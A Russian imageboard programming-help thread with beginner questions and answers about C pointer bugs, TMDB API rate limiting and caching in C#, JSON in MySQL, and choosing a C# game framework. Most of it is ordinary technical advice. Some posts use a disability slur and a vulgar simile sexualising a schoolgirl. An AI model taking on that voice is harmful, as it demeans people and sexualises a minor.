[WT] [Архив]  [Поиск] Главная Управление
[Совместно с Ычаном]
[Назад] [Вся нить] [Первые 100 сообщений] [Последние 50 сообщений]
Ответ в нить
Имя
Animapcha image [@] [?]
Тема   ( ответ в 17424)
Сообщение flower
Файл 
Пароль  (для удаления файлов и сообщений)
Параметры   
  • Прежде чем постить, ознакомьтесь с правилами.
  • Поддерживаются файлы типов 7Z, BZ, BZ2, GIF, GZ, JPG, MO, MP3, OGG, PDF, PNG, PSD, RAR, SVG, SWF, TXT, XCF, ZIP размером до 10000 кБ.
  • Ныне 2605 unique user posts. Посмотреть каталог
  • Максимальное количество бампов нити: 500
150783928026.png-(881.78KB, 720×720, junior_developer_elma.png)
17424
No. 17424 Закреплено watch    
Здесь можно получить помощь и консультацию по любому языку программирования, в любой сфере разработки. Не важно, программируете ли вы собственного робота, пишете серверную приблуду, интегрируете чужие API, ковыряете игру, или пытаетесь сделать сайт на Wordpress - если аноним что-то об этом знает, он обязательно поможет.

Пополняемая база знаний: http://pastebin.com/AGhLZppH

Не знаете, какой язык и библиотеки взять для вашей задачи? Вам сюда.
Не знаете, где клиент, а где сервер? Вам сюда.
Не понимаете, что такое ООП? Вам сюда.
Написали код, и не понимаете, почему не работает? Вам сюда.
Обнаружили кусок кода, и не понимаете, как оно вообще могло работать? Вам тоже сюда.
Не знаете, как подступиться к проблеме? Вам обязательно сюда.

Другие тематические нити: (не стесняйтесь их поднимать)
Java: >>/dev/13949
Python: >>/dev/14767
Rust: >>/dev/16152
RenPy: >>/dev/14429

Примеры кода лучше выкладывать в виде ссылок на http://pastebin.com или http://ideone.com
Фронтендные вещи лучше выкладывать на http://jsfiddle.net

Аноним будет стараться дать максимально точный ответ на ваш вопрос и не пытаться предложить вам поменять весь стек технологий только потому что не знает, как решить проблему с тем что у вас есть. Впрочем, если вы забиваете гвоздь микроскопом, аноним постарается вас об этом предупредить.

Чтобы не сбивать новичков с толку, а также не разбавлять полезную информацию мусором, беспредметные споры типа "какой язык / парадигма / библиотека / етц лучше" здесь запрещены.

Если здесь поселится достаточное количество программистов на одном языке / одной сферы, можно будет их выделить в отдельную нить, а в этом оставить на него ссылку.
По мере поступления вопросов можно составлять FAQ и базу знаний.

Архив нитей:
http://410chan.org/dev/arch/res/14160.html
http://410chan.org/dev/arch/res/15681.html

Прошлая нить пока тонет тут: >>/dev/15861
Развернуть все изображения
No. 17433    
В процессе систематизация прошлой нити для пополнения базы знаний.
No. 17442    
Некоторая обобщенная информация из прошлой нити:

>Хочу перекатиться в бэкенд, десктоп или девопс из около-embedded
>>/dev/17045

>Хочу задачи и упражнения по алгоритмам (C, Python)
>>/dev/17105
>>/dev/17108
>>/dev/17110

>Хочу в HTML и CSS
>>/dev/17404

>Хочу вводный курс по C / C++
>>/dev/15966

>Хочу интерактивный курс по Python
>>/dev/16126

>Предложите альтернативу Python для парсеров и скриптов
>>/dev/15833

>Подскажите книги по Perl 6
>>/dev/15703

>Подскажите книгу про многопоточные сетевые приложения с POSIX API
>>/dev/17195

>Не отображаются тумбнейлы на локальной Wakaba
>>/dev/16891
No. 17443    
150801393010.png-(530.47KB, 600×800, photo5406869797507016779.png)
17443
Ребята, читаю TCPL и это так сложно, у меня каша в голове, а я только до поинтеров дошёл.
No. 17444    
Для ссылок внутри доски /dev/ указывать необязательно.
No. 17445    
>>17443
Ты упражнения делаешь?
No. 17449    
>>17445
Да, но читаю сильно вперёд.
No. 17453    
>>17449
Сильно вперёд чего? Упражнений? Если да, то лучше так не делать, а порешать ещё упражнений до тех пор, когда всё изученное хотя бы стройно выстроится в голове. Если никак не выходит, то не переусердствуй: возможно, дальше будет этот материал понять проще.
Но главное в обучении не просто читать, а применять на практике, помни.
No. 17455    
здесь случаем нет людей, знакомых с апи этого сайта https://www.themoviedb.org/documentation/api ?
No. 17457    
>>17455
Конкретно с этим API не знаком, но выглядит достаточно прямолинейно: https://developers.themoviedb.org/3/getting-started
https://developers.themoviedb.org/3/getting-started/authentication
https://developers.themoviedb.org/3/authentication/how-do-i-generate-a-session-id

С чем у тебя возникла проблема?
No. 17458    
>>17457
здесь есть лимит по реквестам 40 на 10 секунд. но даже после минуты после превышения лимита информация по фильмам не подгружается только после перезагрузки страницы может получиться
не могу понять эту систему с лимитом
No. 17460    
>>17458
>перезагрузка страницы иногда помогает
А откуда ты тыкаешь их API? Если это браузер или фреймворк на базе безголового браузера, то ты мог попасть на кеширование AJAX-запросов. поведение похоже на твой случай
No. 17461    
>>17460
https://developers.themoviedb.org/3/getting-started/request-rate-limiting
Ну и да, официальная спека божится, что таймаут 9 секунд максимум.
No. 17462    
150820201518.png-(522.84KB, 1366×728, 2017-10-17_03-47-28.png)
17462
>>17460
> А откуда ты тыкаешь их API?
браузер. я на сишарп вебапи сделал один метод гет, в котором использую апи того сайта
> ты мог попасть на кеширование AJAX-запросов
не понял что это значит, но я подгружаю фильмы аджаксом, да...

можешь сам сайт посмотреть, если хочешь http://movievote.azurewebsites.net/. проблема появляется, когда по страничкам переходишь
ну и еще я для каждого фильма до 3 реквестов отправляю
No. 17463    
>>17462
Я провел эксперимент - наперезагружал главную страницу несколько раз до того момента пока она стабильно перестанет подгружать информацию и одновременно с этим мониторил состояние отдаваемой информации по одному фильму:
http://movievote.azurewebsites.net/api/MovieInfo/42

>status_message "Your request count (135) is over the allowed limit of 40."
>status_message "Your request count (218) is over the allowed limit of 40."
>status_message "Your request count (187) is over the allowed limit of 40."

И так продолжалось какое-то время пока количество запросов не упало ниже лимита и информация не отдалась как нужно. Количество запросов в месседже то возрастало, то убывало.

Тебе нужно проверить, сколько запросов ты на самом деле туда отправляешь, потому что на вид выходит так, что ты сильно перекрываешь их разрешенный поток, из-за чего создается ощущение что таймаут не проходит а на самом деле ты его просто тут же выбираешь Возможно, придется реализовать программный circuit braker и устроить общение с внешним апи через него.
No. 17465    
Хранить json-строки в реляционной базе mysql - нормально или за такое сразу отрывают руки?
No. 17466    
>>17465
мне такое в прошлом треде делать предлагали, а здесь плохого не посоветуют
No. 17467    
>>17463
а можешь на сам гет метод посмотреть, пожалуйста? вот https://pastebin.com/4PPxFShB
вообще, я вебапи и парсинг джейсона плохо понимаю, может из-за этого сделал ошибку где-то
No. 17468    
>>17465
>>17466
Ну, во-первых MySQL уже даже поддерживает такой тип данных:
https://dev.mysql.com/doc/refman/5.7/en/json.html

Во-вторых, всё зависит от обстоятельств и того как устроен твой проект. Технически у тебя будет просто таблица ключ-документ. И я не вижу в этом ничего плохого. Плохое или хорошее можно будет увидеть, когда станет ясно как это будет использоваться.
Конечно, если тебе от базы не нужно реляционной части вообще, и просто страшно использовать NoSQL, типа MongoDB, то можно пожурить тебя за то что лень разобраться
No. 17469    
150826317266.png-(112.86KB, 1680×680, Безымянный.png)
17469
>>17467
Если я правильно понял, то этот твой гет-метод запускается каждый раз при обращении к /api/MovieInfo/ххх. Если это так, то проблема у тебя в архитектуре, поскольку на каждое обновление главной твой сервер 9 раз дергает апи TMDB что им быстро надоедает. Информация при этом загружается относительно статичная. Кешируй ее на своем сервере, и обновляй по расписанию, а не при каждом обращении. И возможно не обязательно грузить ее сразу, раз она отображается только при нажатии.
No. 17470    
>>17468
Про поддержку знаю, я скорее имел ввиду теоретическую правильность. Принципы проектирования БД требует стремиться к атомарности данных, а json ее нарушает. Если говорить о конкретной задаче, то мне надо хранить сведения об объектах разных типов, причем у каждого типа свой набор сведений. Из альтернатив я вижу либо по таблице на каждый тип (придется писать кучу кода для добавления/изменения/удаления самих таблиц и столбцов), либо две таблицы (в одной id объектов, в другой id, имя свойства, значение). Оба подхода мне не очень нравятся.
В общем, раз в принципе json нормально использовать таким образом, сделаю и я так, спасибо.
No. 17471    
>>17470
>Если говорить о конкретной задаче, то мне надо хранить сведения об объектах разных типов, причем у каждого типа свой набор сведений.

Да, это как раз то для чего обычно хранят данные в "документах". Так что если нет реляционных кусков вообще, можешь использовать mongo, а если нужна какая-то реляционная работа, то храни это у себя под боком в MySQL.
No. 17472    
>>17467
>>17469
Не ругая сам код Если захочешь - поругаю код тоже

Я бы предложил:
1. Не спрашивать информацию сразу для трех локалей, а спрашивать только для текущей локали пользователя.

2. Как заметил >>17469 можно добавить кеширование успешных запросов на своей стороне, но тут есть много способов это делать. Можно сделать просто кэш на стороне сервера, можно сделать супер простой кеш в коде (но тебе надо как-то его инвалидировать и обновлять, плюс он будет отъедать оперативку). Можно пойти дальше и сделать как делают многие скрепперные сайты: сделать чтобы твой сайт брал информацию про фильмы из твоей БД, а уже в эту БД их складывал второй компонент - краулер/скреппер. Этот компонент может работать как периодически, так и реактивно, аккуратно опрашивая чужое API по всем их правилам и медленно, но верно, заполняя базу.

Если у сайта планируется хоть какая-то посещаемость то без какого-либо кеша обойтись не получится - пара посетителей быстро выберет рейт лимит у апи. Но все же, предложу варианты для опроса чужого апи напрямую.

3. Можно реализовать circuit braker, который сразу начнет отсекать запросы по превышению лимита. И пропускать их когда пройдет таймаут.

4. Можно вместо этого написать простой rate limiter - т.е. компонент с очередью, который будет выполнять запросы из этой очереди и подсчитывать в реальном времени, с каким рейтом он обрабатывает запросы, если рейт превышен, то запрос повисит пока не пройдет таймаут. Можно разрешить ему выполнять N запросов одновременно.

Недостатки у этих методов - как только лимит выберется, будет создаваться ощущение что сайт тормозит.
No. 17473    
>>17469
> Кешируй ее на своем сервере
пока не знаю что это. мне в этом направлении смотреть https://metanit.com/sharp/mvc5/20.1.php ?

>>17472
> Если захочешь - поругаю код тоже
хочу
> 1. Не спрашивать информацию сразу для трех локалей, а спрашивать только для текущей локали пользователя.
здесь я для себя просто приоритеты расставил ua>ru>us, так как, можно сказать, это мой личный сайт для меня. попробую оставить только одну локаль для поиска, все равно она только на описание влияет и на постер иногда
> краулер/скреппер
что это такое?
> аккуратно опрашивая чужое API по всем их правилам и медленно, но верно, заполняя базу
как я понял, ты предлагаешь периодически тянуть информацию из их апи в собственную базу и обновлять периодически? если да, то так не получится ибо у меня база размером всего 32мб
> 3.
> 4.
у них вроде через апи можно запросить инфу о том, когда запросы снова станут доступны после превышения лимита

вообще, главная проблема в том, что после проклацивания по страничкам и использования этого лимита - ничего не подгружается даже через пару минут и вообще сайт начинает зависать. может я с логикой где-то напартачил, нужно смотреть
No. 17474    
150827987726.png-(99.65KB, 1366×728, 2017-10-18_01-28-48.png)
17474
>>17469
я тоже перешел на эту вкладку с запросами и мне мало что понятно, но вот эти вызовы Page?page=1 и время ожидания меня немного напрягают. это нормально? если нет, то проблема, скорее всего, где-то в длаваскрипте, да?
No. 17475    
>>17469
>>17474
>>17473
черт, ребят, я все понял. после перехода на следующую страницу я заново инициализирую кнопки перехода по страничкам, то есть та же самая функция выполняется +1 раз после прокликивания
No. 17478    
>>17473
>Вообще, главная проблема в том, что после проклацивания по страничкам и использования этого лимита - ничего не подгружается даже через пару минут и вообще сайт начинает зависать. может я с логикой где-то напартачил, нужно смотреть

Попробуй тогда самую простую проверку. Сделай в своем коде так, чтобы если не проходил первый запрос 429 код ошибки они присылают, то не начинались все остальные. Посмотри что будет и сообщай о результатах.
No. 17479    
>>17473
Да, ты можешь сделать кеширование таким образом, тебе подойдет кеш на сервере. Однако это все равно не очень хорошо, поскольку нагрузка на апи хотя и снизится, но останется зависимой от посетителей и непредсказуемой. Правильно будет обращаться к апи по расписанию, соблюдая частоту запросов, и сохранять данные в свою БД, а из неё отдавать клиентам, как сказал >>17472.
32 МБ должно хватить надолго, тем более если тебе нужна не вся инфа, которую отдаёт апи.
No. 17490    
можно ли сделать так, чтобы мое сишарп приложение с функцией автозапуска свертывалось в трей при запуске компьютера? при этом, если запустить его через ярлык, например, то открывается сразу окно

есть ли какой-то универсальный способ или нужно делать какие-то костыльные счетчики?
No. 17491    
>>17490
В автозапуск суешь приложение с параметром.
Приложение.ехе -минмизед
, например. На старте проверяешь этот аргумент запуска. Проблема решена.

Алсо, позаботься о том, чтобы при запуске с ярлыка приложение не дублировало процесс вдобавок к автозапущенному.
No. 17492    
>>17491
спасибо, попробую
No. 17495    
существует ли плагин для браузера желательно хром, который позволял бы получить все джаваскрипт события выбранного хтмл-элемента?
No. 17496    
Расскажите о движке Ычана, пожалуйста,
вообще что-то я в последнее время чувствую какое-то нездоровое влечение к технологиям начала/серидины нулевых.
No. 17497    
>>17495
Для хрома, к сожалению не подскажу.
А для FF есть FireBug, к которому есть дополнение EventBug, которое кажется делает то, что ты хочешь.
No. 17498    
>>17496
Насколько мне известно, Ычан использует почти стандартный движок Wakaba Mark. Написан на Perl. Устроен так просто, что кажется, что его без труда можно самому написать за месяц.

Лучше всего знакомится сразу через исходный код:
https://github.com/hades/wakaba

Также некоторые проблемы с его установкой разбирались в этой нити >>16891
No. 17499    
>>17498
> движок Wakaba Mark
>Mark
Это разметка.
No. 17500    
>>17473
>> Если захочешь - поругаю код тоже
> хочу

Больших претензии две:
1. Копипаста кода. Для трех запросов ты три раза скопировал код. Понятно, что поначалу так было быстрее, но вообще нужно вынести в отдельные методы подготовку запроса, непосредственную отправку запроса с получением результата, обработку возможного бана от чужого API. Оно и дебажить будет проще, потому что вместо трех мест для программистской ошибки на каждую операцию будет всего одно.

Вот почему бы не вынести это в отдельный метод, куда параметрами идут RestClient и реквест?

            var json = JObject.Parse(clientUA.Execute(request).Content);
            if (json["total_results"] == null)
                return json;
            if (json["total_results"].Value<int>() > 0)
            {
                if (json["results"][0]["overview"].Value<string>() != "")
                    return json;
            }

Почему бы не написать отдельный метод который проверяет код респонса на предмет бана? Тогда бы ты смог знать, что тебя забанили и не пускать дальше никаких запросов за конкретный вызов метода.

2. Неправильная работа с URL. Сейчас ты клеишь урли кусочками строк, потому что тебе так было быстрее. Не надо так делать, это тоже возможное место для беды. Конечно, в сишарпе не очень удобные стандартные средства для работы с урлами: https://stackoverflow.com/a/14517976

Но зачем стандартные, если можно подключить удобные внешние?
https://github.com/EasyHttp/EasyHttp
No. 17501    
>>17499
Сорри, слово-паразит.
No. 17502    
>>17500
спасибо большое за советы, для меня это важно
> https://github.com/EasyHttp/EasyHttp
ты предлагаешь формировать урл-строку для запроса апи с помощью методов этой либы?
я просмотрел вики, но немного запутался... если тебя не затруднит, сформируй, пожалуйста, эту строку с помощью этой библиотеки:
https://api.themoviedb.org/3/search/{data.Extras}?page=1&query={data.Name}&api_key={key}
No. 17523    
>>17502
К сожалению у этой либы есть недостаток - кажется она не поддерживает PATH-параметры одновременно с Query String параметрами. Поэтому, если хочешь сделать именно с ней, то нужно будет расплодить константы эндпоинтов на возможные варианты data.Extras можно конечно и по старинке их вставлять в строку, но это кажется немного не безопасно
Вообще они предлагают создавать query string как-то так:

http.Get("https://api.themoviedb.org/3/search/my_extras_endpoint", new {page = 1, query = data.Name, api_key = key})

Подробнее можно почитать тут: https://github.com/EasyHttp/EasyHttp/wiki/Get
No. 17532    
>>17424
Есть программа на си. Компилируется gcc без предупреждений, но сегфолтится после считывания x.
Пожалуйста подскажите мне, какие опции gcc надо загуглить для тестирования этой програмки.
[code]
// Number 1
#include <stdio.h>
int main(void)
{
char c;
int x,y;
printf("Пoжалуйста введите значение x ");
scanf("%d", x);
printf("\n%d", x);
if (x<0)
y=x*x+1;
else if (x>1)
y=0;
else if ((x<1) && (x>0))
y=x+1;
printf("\ny = %d\n",y);

return 0;
}
[/code]
No. 17534    
>>17532
Версия gcc 7.2, версия glibc 2.25
No. 17536    
>>17532
scanf надо передавать адрес переменной.
scanf("%d", &x);

No. 17538    
>>17536
Спасибо.
No. 17544    
>>17523
сложно как-то. пытался использовать эту библиотеку, но получается странно. вебапи по запросу выдает ошибки на сервере, хотя на сайт информация подгружается НО не всегда вся... такие дела. и еще из-за динамических объектов придется ограждать код трай-кетчами
я лучше разберусь с либой, которую использовал RestSharp. там вроде тоже можно урл-строку с параметрами по-умному формировать и все такое

вот то что написал пока пробовал, если интересно: https://pastebin.com/HJ6U8i4s
No. 17564    
какие есть материалы по разработке архитектуры для большого проекта? хочу сделать большое приложение игру для разных платформ с поддержкой онлайн функционала базы данных, все такое.
при этом хочется все-все продумать сначала, порисовать юмл и распланировать разработку в каких-нибудь скрамах, после чего уже браться за разработку. вот только не знаю как это все лучше сделать, чтоб разработка проходила гладко
No. 17566    
>>17564
http://macode.ru/ Ничего лучше не придумали, всё остальное - хуита для обмазывания отчётиками начальства и заказчика.
No. 17567    
>>17566
я когда делал одну игру - прямо так и сделал, сел и начал писать код не имея в голове точно представления как оно все будет сделано вместе. в итоге, после нескольких недель мусоливания одной фичи дропнул разработку так и не сделав особо ничего, хотя планы на счет игры были ого-го

поэтому сейчас хочу как-то подготовиться
No. 17568    
>>17564
>материалы
Есть дисциплина, софтваге инжиниринг называется. А так: UML для дизайна, аджайл для конкретных фич, >>17566 для всего остального
No. 17571    
150897129647.jpg-(82.15KB, 700×867, images.jpg)
17571
>>17564
>>17567
Держи, например, пикрелейтед:
https://gamifique.files.wordpress.com/2011/11/6-game-architecture-and-design-a-new-edition.pdf

Есть материалы по software architecture, и тут в приниципе я тебя могу проконсультировать, но есть одно но: привычная ООП-архитектура хорошо будет годиться для, например, твоей сетевой инфраструктуры, но очень быстро окажется что она мало годиться для реализации игровых сущностей и механик. В основном потому что один из принципов ООП - инкапсуляция, мало совместим с тем, что для интересной игровой механики какой-то из объектов в игре должен взять что угодно у чего угодно, или вообще спросить что-то у движка игры, а привычный ООП подход такому всячески препятствует.
No. 17572    
>>17571
>а привычный ООП подход такому всячески препятствует
Это почему еще?
No. 17573    
>>17571
А как хорошо в эту схему ложится Rust, в котором нет ООП?
No. 17574    
>>17572
В какой-то мере он прав. Большой движок слишком сложен, чтобы просто взять и сделать оптимальную архитектуру с этим вашим ООП. Поэтому делают так хорошо, как только могут, а потом начинают прикручивать скриптинг и прочую компонентно-ориентированность, чтобы этим можно было пользоваться.
No. 17575    
>>17573
Ты с Go не путаешь?
No. 17577    
>>17575
Может и не путает. Я вот такое откопал.
>There are many competing definitions for what OOP is: under some definitions, Rust is object-oriented; under other definitions, Rust is not.
https://doc.rust-lang.org/book/second-edition/ch17-00-oop.html
No. 17578    
>>17571
> Держи, например, пикрелейтед
спасибо, полистаю
> я тебя могу проконсультировать
круто! буду обращаться
> ООП-архитектура мало годиться для реализации игровых сущностей и механик
я планирую сделать игру-редактор японских кроссвордов и здесь вроде ничего особо сложно нету - тыкаешь по клеточкам да и все

думаю, главная проблема в том, что мне сложно разделять приложение на нужные классы-интерфейсы, да даже методы - я привык часто просто лепить все в одном месте, а это вроде как не хорошо... может знаешь, есть ли какие-то уроки-книжки, которые помогли бы мне правильно построить архитектуру приложения?

кстати, выложил редактор, который я делал на винформах в прошлом году https://github.com/aenen/prr. Здесь редактор работает, а игровая часть не доделана. Я буду отталкиваться от него, делая свою новую игру-рудактор и мне очень хотелось бы услышать критику и советы в адрес того, что я там сделал, воть

и да, думаю, мне понадобится какая-то c# библиотека игровой движок для создания 2D игр, которая бы хорошо подошла именно для этих кроссвордов-картинок, которые я буду делать. может кто знает что подходящее?
No. 17579    
>>17578
>движок для создания картинок
libpng. Всё остальное оверкилл.
No. 17580    
150910888699.png-(10.57KB, 451×461, panda_fond_prirodi_12_1_1p.png)
17580
>>17579
> движок для создания картинок
> кроссвордов-картинок
я имел в виду для игры - "кроссворд-картинка" это "японский кроссворд". чтоб графические элементы там отображать и можно было с ними взаимодействовать тыкать по ним
No. 17583    
150922396976.jpg-(297.49KB, 1023×1472, 1490497962963.jpg)
17583
>>17578
>выложил редактор, который я делал на винформах в прошлом году
>хотелось бы услышать критику и советы в адрес того, что я там сделал
>public LevelMode Type { get; set; } //цветной или ч/б
Плохие названия же.
LevelMode
лучше назвать
LevelColorPalette
, или вроде того.
Type
туда же. И если там всего 2 способа отрисовки всегда будет, то лучше просто
bool isMonochrome
. И зачем оно
public
, если используется только в конструкторе и методах этого класа? inb4 сериализация. Это для сериализации в xml только публичные поля годятся, а для binary пойдут и приватные.
Можешь попробовать использовать шаблон проектирования Memento для сохранялок. Раз игровая логика не очень сложная, то можно смело использовать MVC, тем более, что там видноформы.
Опционально прикупи одежду для программистов и сразу станешь лучше кодить.
No. 17584    
>>17583
спасибо за советы, я это учту
> можно смело использовать MVC, тем более, что там видноформы
вообще, я решил попробовать использовать xamarin, правда я с ним совершенно не знаком

я так посмотрел - люди пишут, что использовать wpf для игр не стоит (xamarin вроде на нем работает).
может кто из вас знаком с ним xamarin? какой лучше игровой движок использовать? может стоит какой патерн использовать чтоб по-взрослому выглядело, типа mvvm, mvc, или для игр такое не подойдет? если знаете хорошие материалы по xamarin - вбросьте сюда, буду благодарен
No. 17587    
Есть программка. Она дожна менять местами строки в серединке массива, если количество строк чётное. И менять первую строку с последнеё, если количество строк в массиве нечётное. У меня почему-то проверка на чётность не проходить, хотя при проверке на нечётность всё работает. Язык си. Что мне гуглить? Проверка на чётность у меня вроде верно записана.
[code]
#include <stdio.h>
#include <time.h>
int main(void)
{
const int n=12,m=4;
int i,j,c;
int a[n][m];
// printf("Введите количество строк в массиве \n")
// scanf("%d",&n);
// printf("\nВведите количество столбцов в массиве\n");
// scanf("%d", &m);
srand(time(NULL));
for (i=0;i<n;i++)
for(j=0;j<m;j++)
{
a[i][j]=rand()%12;
printf("a[%d][%d]=%d\t", i,j,a[i][j]);
if (j==m-1) printf("\n");
}
if (n % 2 == 0)
for (i=0;i<n;i++)
for (j=0;j<m;j++)
{
c=a[n/2][j];
a[n/2][j]=a[n/2-1][j];
a[n/2-1][j]=c;
// printf("\t%d\t%d\t",a[n/2][j],a[n/2+1][j]);

}
else for (i=0;i<n;i++)
for (j=0;j<m;j++)
{
c=a[0][j];
a[0][j]=a[n-1][j];
a[n-1][j]=c;

// printf("\t%d\t%d\t", a[1][j], a[n][j]);
}
printf("\n\n");

for (i=0;i<n;i++)
for(j=0;j<m;j++)
{
printf("a[%d][%d]=%d\t", i, j, a[i][j]);
if (j==m-1) printf("\n");
}

return 0;
}
[/code]
No. 17588    
>>17587
Вложенный цикл для обмена не нужен, достаточно цикла по j. С чётным числом строк из-за наличия внешнего цикла у тебя происходит чётное число перестановок, которые компенсируют друг друга.
No. 17589    
>>17588
Спасибо.
No. 17596    
>>17584
>может стоит какой патерн использовать чтоб по-взрослому выглядело, типа mvvm, mvc, или для игр такое не подойдет?
mvvm и mvc - не для игр, а для организации работы с пользовательскими данными в веб и десктопных приложениях. Например, если ты вдруг захочешь сделать свои кроссворды в вебе, то у тебя будет MVC. Модель - классы игрового поля, Вьюха - страница которую видит пользователь, и контроллер, который отвечает за то чтобы информация пришедшая от пользователя кликнул на клетку X,Y была санитизирована, обработана, и передана в модель.

>патерн использовать чтоб по-взрослому выглядело
Не надо. Один из важных поинтов программирования и проектирования софта - не делать архитектуру ради архитектуры, и не использовать паттерны просто чтобы использовать. Keep it Simple.
No. 17597    
>>17584
>может кто из вас знаком с ним xamarin? какой лучше игровой движок использовать?
Почему не попробовать Mono? Он вроде официально поддерживается:
https://developer.xamarin.com/guides/cross-platform/game_development/monogame/ Рядом видно альтернативы
https://developer.xamarin.com/guides/cross-platform/game_development/monogame/introduction/

Алсо, учиться лучше всего на примерах. На гитхабе уже есть исходники для нонограм / пикросса они же японские кроссворды
Вот список со всем что есть по словам Nonogram и Picross на C#:
https://goo.gl/pdnEqB
https://goo.gl/wFGNPt

Есть даже прямо Picross на Mono: https://github.com/Coteh/PicrossClone

Но если тебе хочется быстрее понять базовую структуру классов, попробуй посмотреть еще сюда: https://github.com/arabcewicz/Nonogram/

Тут можно увидеть, что человек сделал всё в ООП-стиле и завел основные необходимые классы - Grid, Cell, Line (которая у него может быть Row или Column), и т.д.

Если ты хочешь ООП-структуру, то это примерно то что тебе нужно организовать у себя даже учитывая что оригинальный автор там что-то не довел до конца

Еще есть смысл не ограничиваться C# и посмотреть архитектуру таких проектов на похожих по синтаксису и возможностям языках.
No. 17599    
>>17596
>>17597
спасибо за информацию, посмотрю, как другие делают эти кроссворды. кстати, не знал, что пикросс еще называют нонограм

если честно, я уже не знаю, стоит ли делать его на xamarin, потому что первое впечатление от него получилось плохое.
обновил студию до 2017 версии, установил необходимые компоненты, написал скопипастил по туториалу свое первое приложение на xamarin.forms и очень разочаровался:
  • приложение не билдилось, видимо из-за того, что имя папки в которой находился солюшн было на кирилице и содержало символ "#". после переноса в другую папку сбилдилось
  • я думал, что помимо ios и android приложений я смогу создавать и десктопное приложение на xamarin, которое было бы наподобие wpf или winforms, но здесь так нельзя. в документации пишут про поддержку windows rt и uwp, но у меня при создании xamerin.forms появились только ios и android проекты. uwp приложение на ксамарине и так создать не смогу ибо это только для windows 10
  • андроид-приложение так не смогло запуститься в эмуляторе. судя по аутпуту это из-за опять же имени папки пользователя на кириллице, которая отображается кракозябрами
  • ios приложение невозможно запустить даже в эмуляторе, для этого обязательно нужно иметь мак
возможно будет лучше, если я доведу до ума то винформ приложение, которое делал в прошлом году даже не знаю
No. 17600    
150967986424.png-(13.00KB, 306×373, monogame.png)
17600
>>17597
> Почему не попробовать Mono
я думал, что monogame как-то тесно связан с xamarin, но видимо это совсем не так. список поддерживаемых платформ на их сайте впечатляет. пока забью пока на ксамарин и посмотрю, что можно сделать с этим фреймворком
No. 17601    
150972515096.jpg-(301.66KB, 1280×1723, 2739452345.jpg)
17601
>>17600
Если будешь пробовать mono, то посмотри, пожалуйста, сколько весят сопутствующие dll-ки, которые необходимы для запуска простейшего хелоуворлда. Интересно, насколько этот фреймворк будет оверкилом для моего приложения.
No. 17602    
>>17601
Вернее не mono, а именно monogame.
No. 17604    
Решил начать изучать Ruby по этой инструкции (http://blog.topolyan.com/как-стать-успешным-программистом/). Последовательность понятна, но как лучше с самим изучением?

Есть ли какие-то годные курсы, или лучше все делать самостоятельно? Обязательно ли знать английский, и насколько хорошо?
No. 17606    
150973847964.png-(121.52KB, 793×728, 2017-11-03_21-37-56.png)
17606
>>17601
ну, лично я загрузил себе дополнение для вижуал студии http://www.monogame.rocks/releases/v3.6/MonoGameSetup.exe, который добавляет шаблоны для monogame приложений под разные платформы. так вот, после создания моногейм-приложения для виндовс и его запуска папка бин/дебаг выглядит как на картинке (можешь посмотреть размеры)
No. 17607    
>>17604
Ruby довольно специфический язык в плане рынка. Он популярен в США, особенно среди веб-проектов мелко-среднего уровня, которые делаются в связке Ruby on Rails. За пределами США популярность на рынке сильно ниже. Да и сам язык вроде не настолько бойко развивается чтобы ему простительно была не слишком большая популярность. Знание английского, кто бы тебе что не говорил, обязательно в IT. Можно конечно выкрутиться без него, но тогда ты точно будешь работать среди даунов для даунов.
No. 17608    
>>17607
Питон победил?
No. 17609    
150981182986.jpg-(149.99KB, 1366×768, 750987398563456.jpg)
17609
>>17606
Благодарю.
No. 17615    
>>17608
У Питона своя атмосфера.
No. 17617    
>>17615
Объясните, пожалуйста.
No. 17619    
>>17608
С точки зрения массовости? Несомненно
No. 17620    
я тут потихоньку смотрю туториалы и примеры по MonoGame фреймворку и мне стало интересно, есть ли какие-нибудь хорошие альтернативы c#? я так то погуглил, но, возможно, здесь есть люди которые имеют опыт с разработкой игр и могут подсказать на что действительно стоит обратить внимание
из требований: возможность создания игр для виндовс и андроид как минимум
No. 17621    
15101389339.png-(45.06KB, 918×1032, cpp_logo.png)
17621
>>17620
> есть ли какие-нибудь хорошие альтернативы c#
> возможность создания игр для виндовс и андроид
Пикрелейтед.
No. 17622    
>>17621
я имел в виду фреймворк на с#. с++ сложный
No. 17623    
151016250170.jpg-(58.14KB, 604×441, photo_2017-06-10_22-07-30.jpg)
17623
>>17620
Я уже достаточно давно работал с игровыми штуками для шарпов и мои знания могли устареть. Да и делал я не игры, а всякую хуйню интерактивную.

Был XNA. Неплохое начинание, но его похоронили к хуям, а жаль.

MonoGame. Насколько помню, эта штука выросла из порта XNA под линуксы. Я с ней замудохался обеспечивать распространение. Это вам не дотнет, где "На машине должен быть фреймворк", это линуксвей с сотней зависимостей и конфликтов. Потрахался и бросил. Я бы с ним не связывался даже сейчас. Да, наверное, он развивался, но травму он мне нанёс существенную.

https://waveengine.net/
Вот с этой елдой плотно работали.
Поддержка дрянь, развивалось медленно, баги, но хорошо встало в студию и было бесплатным. Бюджет у нас был на кофе и два доширака. Приходилось расковыривать закрытые сорцы и фиксить чужие ошибки. Было больно и костыльно.

https://unity3d.com/
У всех на слуху.
Немного игрался уже в свободное время. Вполне юзабельно и СОТНИ примеров/документаций/ответов. Если бы я начал игру делать, то взялся бы за юнити. Да, там ублюдский редактор и интеграции так себе. Зато он сейчас в тренде — сотни туториалов, документаций, вопросов-ответов. Ну и студии нанимают людей, которые знают юнити. А ещё кроссплатформенность.

Есть был https://xenko.com/ но он был сырой и дорогой, как промежность школьницы. Сходи с ним на разведку, потом расскажешь.

> на что действительно стоит обратить внимание
С помощью движка ты должен быстро делать игру, а не мудохаться с движком, пытаясь понять, почему на пустой сцене у тебя 2 ФПС, куда потекла память и почему при сложении векторов у тебя NotImplementedException.
Что-то отлаженное и популярное типа юнити отлично подойдёт — долго в продакшене, есть сотни туториалов, справочников, документаций. Бери и делай.
No. 17624    
>>17622
Ни разу не сложный. Ты просто не распробовал!
No. 17627    
>>17620
Юнети, как уже сказали. Можно даже не сярпом, а мышкой всё погромировать.
No. 17630    
151019817059.jpg-(51.04KB, 1280×720, maxresdefault.jpg)
17630
>>17623
спасибо за большой ответ!
> Что-то отлаженное и популярное типа юнити отлично подойдёт
отлично, его и попробую. только мне очень важно, чтобы к юнити-проекту можно было присобачить entity framework и подключаться к базе данных mssql. в нем ведь можно это сделать, да? достаточно загрузить нагет пакет entity framework через студию и можно будет использовать его в юнити-игре?

>>17624
> Ты просто не распробовал
